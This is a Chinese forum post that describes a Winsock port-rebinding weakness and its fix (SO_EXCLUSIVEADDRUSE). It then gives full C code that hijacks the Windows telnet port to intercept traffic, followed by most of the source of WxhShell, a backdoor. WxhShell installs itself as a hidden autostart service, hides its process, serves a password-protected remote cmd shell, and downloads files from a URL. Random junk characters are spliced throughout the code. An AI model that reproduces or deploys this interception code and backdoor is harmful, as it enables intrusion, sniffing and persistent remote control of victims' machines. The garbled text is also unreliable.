-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O 0Fw!IQk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xf1@mi[a .PyPU]w saddr.sin_family = AF_INET; |Sg
FHuA xE/r:D# saddr.sin_addr.s_addr = htonl(INADDR_ANY); Nh7Dz 8v&4eU'S bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \B _g=K JA!O,4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6?-vj2, Kyy CS> 这意味着什么?意味着可以进行如下的攻击: "S6'<~s o!TG8aeb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ya7/&Z
)0 g70B22!y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<^j,jX ]IQTf5n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B%HG7 K07b#`NF6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 JTu^p]os?
3Qt-%=b& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v=4,kG iN\D`9e 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?`PG`|2~ CBC0X}_` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r|rOIAo YEGRM$'` #include 9I0}:J;7 #include m'h`%0Tc #include JGH;&UYP #include qsnZ?hXPp DWORD WINAPI ClientThread(LPVOID lpParam); -h&AO\*^W int main() BbA7X { #K1VPezN WORD wVersionRequested; v]CH
L#
| DWORD ret; <ptZY.8N WSADATA wsaData; 7TCY$RcF,I BOOL val; T_}9b SOCKADDR_IN saddr; >5Vv6_CI0? SOCKADDR_IN scaddr; H+&c=~D\_ int err; {(r`&[ SOCKET s; > %5<fK2
SOCKET sc; +o]DT7W int caddsize; E0XfM B]+ HANDLE mt; b(8#*S!U DWORD tid; 7MXi_V;p< wVersionRequested = MAKEWORD( 2, 2 ); eR,ePyA; err = WSAStartup( wVersionRequested, &wsaData ); 2y6 e]D if ( err != 0 ) { octBt`\Of printf("error!WSAStartup failed!\n"); Ew>E]Ys return -1;
?LU]O\p } ^O_E
T$ saddr.sin_family = AF_INET; XV"8R"u%Q feOX]g#
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qx3@]9 w0n.Y-v4i saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b,]QfC saddr.sin_port = htons(23); 2y/|/IW= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 29R_?HBH { V gLnpPOQ printf("error!socket failed!\n"); #.|efdsG return -1; m22FOjk\ } 0fhz7\a^_< val = TRUE; E<u6 js, //SO_REUSEADDR选项就是可以实现端口重绑定的 I^h^QeBis if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gh3b*O_, { d>j`|(\ printf("error!setsockopt failed!\n"); s+{)K return -1; sTx23RJ9 } +C4UM9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2H7b2% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *c<=IcA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IbFS8 *a\ JQCQpn/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SGi(Zkc { -%8*>% ret=GetLastError(); L4bx [ printf("error!bind failed!\n"); }GV5':W@WG return -1; '1|FqQ\. } +AGI)uQQ listen(s,2); |G^w2"D_Z while(1) Ae,P&( { k/MrNiC caddsize = sizeof(scaddr); =+{SZh@ //接受连接请求 xY]Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J&mZsa)4 if(sc!=INVALID_SOCKET) i,5mH$a&u: { hS<lUG!9UJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QDO.&G2 if(mt==NULL) d\% |!ix { <Co\?h/< printf("Thread Creat Failed!\n"); )$[.XKoT break; [I*zZ` } ifyWhS++ } D?yiK=:08` CloseHandle(mt); X=Qa TV } aj>6q=R closesocket(s); xaQO=[ WSACleanup(); 0E[&:6#Y return 0; .UJp#/EHs } 8|FHr, DWORD WINAPI ClientThread(LPVOID lpParam) 8t4o}3> { rVo0H.+N)` SOCKET ss = (SOCKET)lpParam; /_yJ;l/K SOCKET sc; :Fe}.* t unsigned char buf[4096]; @)"= b!q= SOCKADDR_IN saddr; vwA d6Tm long num; TGUlJLT DWORD val; ces|HPBa&6 DWORD ret; CKoRq|QG_ //如果是隐藏端口应用的话,可以在此处加一些判断 <kJ,E[4` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 PNNY_t +I saddr.sin_family = AF_INET; :xd)]Ns saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9fLxp$`(T saddr.sin_port = htons(23); <#c/uIN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yz6+
x] { *qM)[XO printf("error!socket failed!\n"); m-%.LDqM return -1; u">KE6um } fa~4+jx>S val = 100; >x/;'Y. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s/' ]* n { v[P
$c$Xi ret = GetLastError(); 'Ipp1a
Z_M return -1; V4~`yT?*" } QzV
Q} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VV'K$v3'N8 { x=Ef0v ret = GetLastError(); ?g7O([*[ return -1; ZT;8Wvo } 6S`J7[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gp&o { Vifh`BSP printf("error!socket connect failed!\n"); st91rV$y? closesocket(sc); 25bLU?x5B closesocket(ss); h5+L/8+J^z return -1; ()Cw;N{E } <G+IbUG: while(1) Dht,!LVb; { `dp]N0nz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )I/K-zj //如果是嗅探内容的话,可以再此处进行内容分析和记录 \%=GM
J^[p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y5oC|v7 num = recv(ss,buf,4096,0); 8ux?K5_ if(num>0) d
:(&q send(sc,buf,num,0); 5;:P^[cH9 else if(num==0) eyUhMjd break; P&3Z,f0 num = recv(sc,buf,4096,0); T~&9/%$F if(num>0) AEUXdMo send(ss,buf,num,0); SuorCp] else if(num==0) Vdpvo;4uy break; `Z)]mH\X } m+3U[KKvG closesocket(ss); zQPQP` closesocket(sc); Py}] {? return 0 ; f`^\v } 5Xe1a'n5] .|Ee,Un J~"h&>T ========================================================== oZ
CvEVUk q!r4"#Y"@Z 下边附上一个代码,,WXhSHELL L("zS%qr @)iAV1r" ========================================================== ()[j<KX{. :3oLGiL #include "stdafx.h" $N@EH;{_0 ~a5-xWEZ #include <stdio.h> o?T01t= #include <string.h> z8n=\xL #include <windows.h> L5wrc4 #include <winsock2.h> szZ8-Y #include <winsvc.h> PF6w'T 5 #include <urlmon.h> 7BNu.5*y Vm_<eyI2 #pragma comment (lib, "Ws2_32.lib") ` D9sEt_/ #pragma comment (lib, "urlmon.lib") n"Gow/-;
{Xj2c]A1 #define MAX_USER 100 // 最大客户端连接数 iUH{rh! #define BUF_SOCK 200 // sock buffer q3SYlL'a #define KEY_BUFF 255 // 输入 buffer Hea76P5$P+
B#Q=Fo 6 #define REBOOT 0 // 重启 Lt<KRs #define SHUTDOWN 1 // 关机 XFS"~{ ";>>{lYA. #define DEF_PORT 5000 // 监听端口 AJ%x" E <O:
#define REG_LEN 16 // 注册表键长度 IegZ)&_n #define SVC_LEN 80 // NT服务名长度 I"_``*/1 76'vsg // 从dll定义API 6`V2-zv$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `8D)j>Yh~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^y1P~4w? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vwc)d{ND typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7y/Pch )|Il@unp/ // wxhshell配置信息 VK~ OL struct WSCFG { "&@v[O)!xu int ws_port; // 监听端口 &OXnZT3P char ws_passstr[REG_LEN]; // 口令 rB<za I\V int ws_autoins; // 安装标记, 1=yes 0=no N.l\2S} char ws_regname[REG_LEN]; // 注册表键名 5VLJ:I?0O char ws_svcname[REG_LEN]; // 服务名 <}vult^ char ws_svcdisp[SVC_LEN]; // 服务显示名 #("/ 1N6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 @An "ClDa char ws_passmsg[SVC_LEN]; // 密码输入提示信息
n}f*>Mn int ws_downexe; // 下载执行标记, 1=yes 0=no mqIcc'6f char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Y,
?- [] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ruf*-&Kr7 3%J7_e' }; Gl@-RLo aYC[15?' // default Wxhshell configuration `g~T #U\>d struct WSCFG wscfg={DEF_PORT, Mu~DB:Y9e "xuhuanlingzhe", \_#Z~I{ 1, 'TdO6-X "Wxhshell", YtWO=+rX "Wxhshell", \i}:Vb(^ "WxhShell Service", +hW^wqk/. "Wrsky Windows CmdShell Service", |J_kS90= "Please Input Your Password: ", j,%<16f^A 1, |V>_l'
/ " http://www.wrsky.com/wxhshell.exe", 1~|o@CO "Wxhshell.exe" GQR|t?:t }; ~Wox"h}( .w@o%AO_ // 消息定义模块 dh;
L! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B0&W wa: char *msg_ws_prompt="\n\r? for help\n\r#>"; /Ayo78Pi char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; >E:V7Fa char *msg_ws_ext="\n\rExit."; AfV
a[{E char *msg_ws_end="\n\rQuit."; Pv>W`/*_,s char *msg_ws_boot="\n\rReboot..."; $QbaPmHW char *msg_ws_poff="\n\rShutdown..."; zdh&,!] F6 char *msg_ws_down="\n\rSave to "; _rmTX.'w
HuCzXl char *msg_ws_err="\n\rErr!"; VD).UdUn char *msg_ws_ok="\n\rOK!"; DNu^4#r ([+u U! char ExeFile[MAX_PATH]; j1sZRl)D int nUser = 0; ar#Xe;T! HANDLE handles[MAX_USER]; u5LrZt]k int OsIsNt; EU0b>2n4 555*IT3b SERVICE_STATUS serviceStatus; F79!B SERVICE_STATUS_HANDLE hServiceStatusHandle; 7/:C[J4GTN GmJ4AYEP // 函数声明 $!Pm*s int Install(void); Z}E.s@w int Uninstall(void); i`F8kg`_K int DownloadFile(char *sURL, SOCKET wsh); #$ Q2ijT0 int Boot(int flag); W
^MF3 void HideProc(void); ='p&T|& int GetOsVer(void); UmC_C[/n? int Wxhshell(SOCKET wsl); ,{tK{XpS void TalkWithClient(void *cs); `RriVYc< int CmdShell(SOCKET sock); zt23on2 int StartFromService(void); <691pkX int StartWxhshell(LPSTR lpCmdLine); 6n (C=.&',P VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ohod)8 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]l~TI8gC S{sJX5R; // 数据结构和表定义 -#e3aXe SERVICE_TABLE_ENTRY DispatchTable[] = |d@%Vb_ { "G+g(?N]j {wscfg.ws_svcname, NTServiceMain}, wVw?UN*rm; {NULL, NULL} \TF='@u. }; ;#goC N. 3a_=e
B // 自我安装 Rb8wq.LqD int Install(void) 8pEiU/V { 6H)T=Z| char svExeFile[MAX_PATH]; \*(A1Vk HKEY key; j\o<r0I strcpy(svExeFile,ExeFile); "%~Jb dx Y<"BhE // 如果是win9x系统,修改注册表设为自启动 ;B,6v P# if(!OsIsNt) { n*Q~<`T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q=+*OQV29 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l[G&=/R@H RegCloseKey(key); h:J0d~u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hyPVt6Gkj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3b#eB RegCloseKey(key); i 1{Lx) return 0; vfn _Nq; } _3_kvs } ^)| !nd } ]V4Fm{] else { M$O*@]) W'B=H1 // 如果是NT以上系统,安装为系统服务 cU+%zk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iFypKpHg~ if (schSCManager!=0) \bc ob8u { PU"C('AP SC_HANDLE schService = CreateService bGO[P<< ( 3/j^Ao\fw schSCManager, ry2ZVIFa wscfg.ws_svcname, KTQy pv wscfg.ws_svcdisp, VN5UJ!$?J SERVICE_ALL_ACCESS, AxsTB9/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8~~*/oCoJt SERVICE_AUTO_START, wd
4]Z0; SERVICE_ERROR_NORMAL, s\CZ os& svExeFile, A$H;2T5N NULL, 5\?\|* WT NULL, h}T+M BA% NULL, ;AjY-w NULL, Q|gRBu NULL ^~iFG+g5 ); tz).] E
D if (schService!=0) 8c6dTT4 { qir/Sa'[ CloseServiceHandle(schService); 4IT`8n~ CloseServiceHandle(schSCManager); (iT?uMRz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EINjI:/D strcat(svExeFile,wscfg.ws_svcname); hI^Hqv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y,.X5#rnX* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P Tc@MH) RegCloseKey(key); h W<fu return 0; FS(bEAk} } hhqSfafUX } vjzpU(Sq# CloseServiceHandle(schSCManager); vz[-8 m:f } =}$YZuzmU } ?3#W7sF
[b=l'e/ return 1; c6;326aDq } rmzM}T\20 Ub(8ko:8$ // 自我卸载 nQ$4W int Uninstall(void) m,u5S=3A{! { S m%\,/3 HKEY key; t=K;/1 }^}fx [ if(!OsIsNt) { #TXN\YNP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BeNH"Y:E RegDeleteValue(key,wscfg.ws_regname); 1&Fty'p RegCloseKey(key); 4GiHp7Y&A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sp2"c"_+ RegDeleteValue(key,wscfg.ws_regname); :FUefW m RegCloseKey(key); }Sxuc/%: return 0; BJ
c'4> } {Xc^-A[~ } FRSz3^A w } JB_<Haj else { &?#,rEw<x mr4W2Z@L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lJ'.1Z& if (schSCManager!=0) Q?Y\WD { H(JgqbFB* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &gNb+z+ if (schService!=0) d-W@/J { T;4& ^5n if(DeleteService(schService)!=0) { t7t?xk!2 CloseServiceHandle(schService); ~)ZMGx CloseServiceHandle(schSCManager); 'T
'&OA return 0; iEA$`LhO\A } )YKnFSm CloseServiceHandle(schService); [YGPcGw } WT-BHB1 CloseServiceHandle(schSCManager); )*b
dG'}
} *Y4[YnkPE } Mdj?;'Yv L7gZ4Hu=` return 1; Rr9K1io$) } (.CEEWj%{ 86bRfW' // 从指定url下载文件 )@IDmz> int DownloadFile(char *sURL, SOCKET wsh) @scy v@5)F { X\z`S##kj HRESULT hr; AM[#AZv char seps[]= "/"; MR) *Xh char *token; ?$ft3p} char *file; \~LwlO o%R char myURL[MAX_PATH]; ??'>kQ4 char myFILE[MAX_PATH]; B"07:sO 8|Q=9mmWOh strcpy(myURL,sURL); j56#KNAha token=strtok(myURL,seps); :c*_W
/ while(token!=NULL) 56|o6-a^ { ^PNE6 file=token; xg|\\i token=strtok(NULL,seps); Y<x;-8)* } #><P28m ]uikE2nn GetCurrentDirectory(MAX_PATH,myFILE); jHU5>Gt-} strcat(myFILE, "\\"); ~36)3W[4 strcat(myFILE, file); RS8tE( send(wsh,myFILE,strlen(myFILE),0); IbC8DDTD send(wsh,"...",3,0); ,y>%m;jL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;Sc}e/WJj if(hr==S_OK) by:"aDGK. return 0; zZhAH('fG else DE $HF*WY return 1; _#jR6g TY Dc2U+U(J } _$Wj1h (i 3=XfZ!C // 系统电源模块 SY[7<BUZ int Boot(int flag) ;$VQRXq { SZ;Is,VgU4 HANDLE hToken; I}Fv4wlZG TOKEN_PRIVILEGES tkp; VssD hxXl0egI if(OsIsNt) { ytWTJ>L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M6j!_0j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S4salpz tkp.PrivilegeCount = 1; 'l&),]|$) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "%mu~&Ga AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cnm*&1EzV if(flag==REBOOT) { K[.*8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o>#ue<Bc6 return 0; "B$r{ vG } =vpXYj else { d'x'hp% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [}GPo0GY return 0; &ody[k?' } +s`HTf } t&oNC6 else { vmY 88Kx&S if(flag==REBOOT) { 0sQt+_Dl%L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S260h,(, return 0; ;RElG>#$ } Wv4x^nJ else { ]ZbZ] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f3p)Q<H>`( return 0; mBQp#-1\ } "u H VX|` } :/.SrkN(A7 .?Pghqq. return 1; e2}5<
7 } 4GL-3e 8+?|4'\` // win9x进程隐藏模块 {SQ#n@Q&$ void HideProc(void) d:_3V rRZ {
)~Pj3 ]y**ZFA HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kwM1f=!- if ( hKernel != NULL ) 2qN|<S& { (L2:|1P) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4e0/Q!o, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kf Xg\6uKc FreeLibrary(hKernel); RyN}Gz/YN } FUD
M]:XQ vhEXtjL return; d4 r@Gx%BE } nXg:lCI-uu @ uF$m/g // 获取操作系统版本 x+%(z8wD int GetOsVer(void) l)d(N7HME { 4(hHp6}b OSVERSIONINFO winfo; ,lUroO^^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =8p *Ijs GetVersionEx(&winfo); egd%,` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PdkS3Hz return 1; iVQ)hsW/ else 0o>l+c return 0; f\zu7,GU } Vt[Kr $ lC*q // 客户端句柄模块 H;=JqD8` int Wxhshell(SOCKET wsl) "h84D&V { G(*7hs SOCKET wsh; S+LS!b struct sockaddr_in client; HXg#iP^tv DWORD myID; VOa7qnh4:[ 6z-&Zu7@ while(nUser<MAX_USER) Z7Gl^4zn { 5R UhrE int nSize=sizeof(client); +YNN$i wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i+Fk if(wsh==INVALID_SOCKET) return 1; h%0FKi^ %z_L}L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zg[.Pws:E if(handles[nUser]==0) 1%^d<%,] closesocket(wsh); ,Qw\w, else SBbPO5^]( nUser++; RPh8n4&(" } p?#%G`dm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z^YL$ ,xzSFs>2 return 0; KsG>,#
Q } sZ7RiH+I /BaXWrd+ // 关闭 socket {<k}U;uiO void CloseIt(SOCKET wsh) p&O-]o8 { [? 1m6u; closesocket(wsh); YZHqy++x nUser--; /yd<+on^ ExitThread(0); B'U;i5u4' } V1
:aR3*! 1f/8XxTB // 客户端请求句柄 KD*q|?Z void TalkWithClient(void *cs) flr&+=1?D { w~S~ '-?t^@ SOCKET wsh=(SOCKET)cs; q@6Je(H char pwd[SVC_LEN]; by{ *R char cmd[KEY_BUFF]; ~|!f6= char chr[1]; mz<wYV* int i,j; giNyD4uO ywl7bU-f while (nUser < MAX_USER) { g0&Rl n@e[5f9?x if(wscfg.ws_passstr) { oKlO cws} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NW*qw q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(r!d4 //ZeroMemory(pwd,KEY_BUFF); BGSqfr1F i=0; 5"cYZvGkJ while(i<SVC_LEN) { >_m4
idq1 RO9oO7S // 设置超时 ;=ci7IT' fd_set FdRead; \~{b;$N} struct timeval TimeOut; EvJ"%:bp FD_ZERO(&FdRead); xy.di9 FD_SET(wsh,&FdRead); ,TdL-a5 TimeOut.tv_sec=8; >8>}o4Q/X TimeOut.tv_usec=0; X"z!52*3] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7K\H_YY8# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OM4q/!)A] HXg4
T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S$egsK"~ pwd =chr[0]; uJX(s6["= if(chr[0]==0xd || chr[0]==0xa) { H{4/~Z pwd=0; d J;y>_ break; aDreN*n } Dn9AOi! i++; /[|ODfY } .}6Mj]7?i (9X>E+0E // 如果是非法用户,关闭 socket `;OEdeAM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _hy<11S; } rdY/QvP0= g'Id31r' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F#az& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5uJ{#Zd s/=.a2\ while(1) { N`Q[OFe 0
3/<A ^ ZeroMemory(cmd,KEY_BUFF); nRL2Z5iO- W2CQk // 自动支持客户端 telnet标准 %!_%%p,f j=0; "k%B;!We) while(j<KEY_BUFF) { a|s64+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HN j6Iw cmd[j]=chr[0]; 3|FZ!8D if(chr[0]==0xa || chr[0]==0xd) { z$q:Yg cmd[j]=0; $kM8E@x2 break; uSRvc0R\ } 'J=knjAT j++; CaV>\E) } #FHyP1uyc PM
A61g // 下载文件 s,2gd' if(strstr(cmd,"http://")) { =IkG;gg send(wsh,msg_ws_down,strlen(msg_ws_down),0); e=<%{M& if(DownloadFile(cmd,wsh)) nGdEJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); nYF *f else nYv`{0S+m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oy `2ccQ# } z12c9k%s else { i7RW8* R
Wd#)3 switch(cmd[0]) { M\f1]L|8d 4XprVB // 帮助 U'8ub(:& case '?': { \1p_6U7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V L&5TZtz break; }?vc1%w } NIQX?|;b{ // 安装 YyZ>w2_MTi case 'i': { h"-}BjL if(Install()) BW61WH? send(wsh,msg_ws_err,strlen(msg_ws_err),0); tUp'cG else ]DaC??%w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y8fahQ# break; ZMVQo-= } o@d+<6Um // 卸载 [9O,C-Mk case 'r': { xzRs;AXOp if(Uninstall()) 2EdKxw3$] send(wsh,msg_ws_err,strlen(msg_ws_err),0); `iiZ else \AT]$`8@_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m R? } gR break; nO d'$q } DsY$ // 显示 wxhshell 所在路径 #n[1%8l, case 'p': { Yp_R+a^ char svExeFile[MAX_PATH]; 9b0M'x'W5 strcpy(svExeFile,"\n\r"); M_4:~&N$ strcat(svExeFile,ExeFile); $2M dxw5 send(wsh,svExeFile,strlen(svExeFile),0); WG_20JdJY break; N!`8-ap\^ } \3ZQ:E}5 // 重启 l5m5H,` case 'b': { MZ8jL,a^ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S4jt*]w5b if(Boot(REBOOT)) l^F%fIRp) send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^rDT+ x else { y8{PAH8S closesocket(wsh); 3>`CZ]ip} ExitThread(0); 2|1s !Q } 0> 6;,pd" break; 3gn)q>Xj$ } gyI(O>e // 关机 v GF< case 'd': { LE|*Je3a send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &dino if(Boot(SHUTDOWN)) :LuzKCvBP send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pw"o[8 else { O@
GEl closesocket(wsh); ]vPa
A ExitThread(0); Au6*hv3: } tkG0xRH break; &tULSp@J } q]\bJV^/U // 获取shell 2g6G\F case 's': { fCMH<}w CmdShell(wsh); .=VtMi$n closesocket(wsh); fDn| o" ExitThread(0); o*_O1P break; o@o6<OP^ } myVV5#{ // 退出 9Q#eu~R case 'x': { 6!,Am^uXM send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JYbE(&l%de CloseIt(wsh); 0RLyAC| break; Rv)!p~V8 } 6T}bD[h4? // 离开 "rj qDpH case 'q': { %r<c>sFJN send(wsh,msg_ws_end,strlen(msg_ws_end),0); [Z5Lgg& closesocket(wsh); hm%'k~ WSACleanup(); 2>.2H exit(1); OZF^w[ `w break; zs@#.OEH } 9q2 >_Mv } P}%0YJ$6 } J{gqm Sd3KY9, // 提示信息 &AMW?vO if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZwLD7j*) } 0.}Um } Ufz& 2 LiyEF&_u return; H:X=v+W } U8Pnt|0 M x9#>0
4s // shell模块句柄 qzVmsxBNP int CmdShell(SOCKET sock) w$9aTL7 { )
0x*>;"o STARTUPINFO si; No)v&P% ZeroMemory(&si,sizeof(si)); *-timVlaE si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 74 c1i si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nb:J" PROCESS_INFORMATION ProcessInfo; Ul?Ha{W char cmdline[]="cmd"; A2o;YyF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JM#jg-z,~ return 0; d9XX^nY. } sW~Z?PFP g8yWFqE!T // 自身启动模式 `A.!<bO)] int StartFromService(void) <}RU37,W { 5#zwdoQ typedef struct g1Q^x/ { G4Zs(:a DWORD ExitStatus; !8"516!d|p DWORD PebBaseAddress;
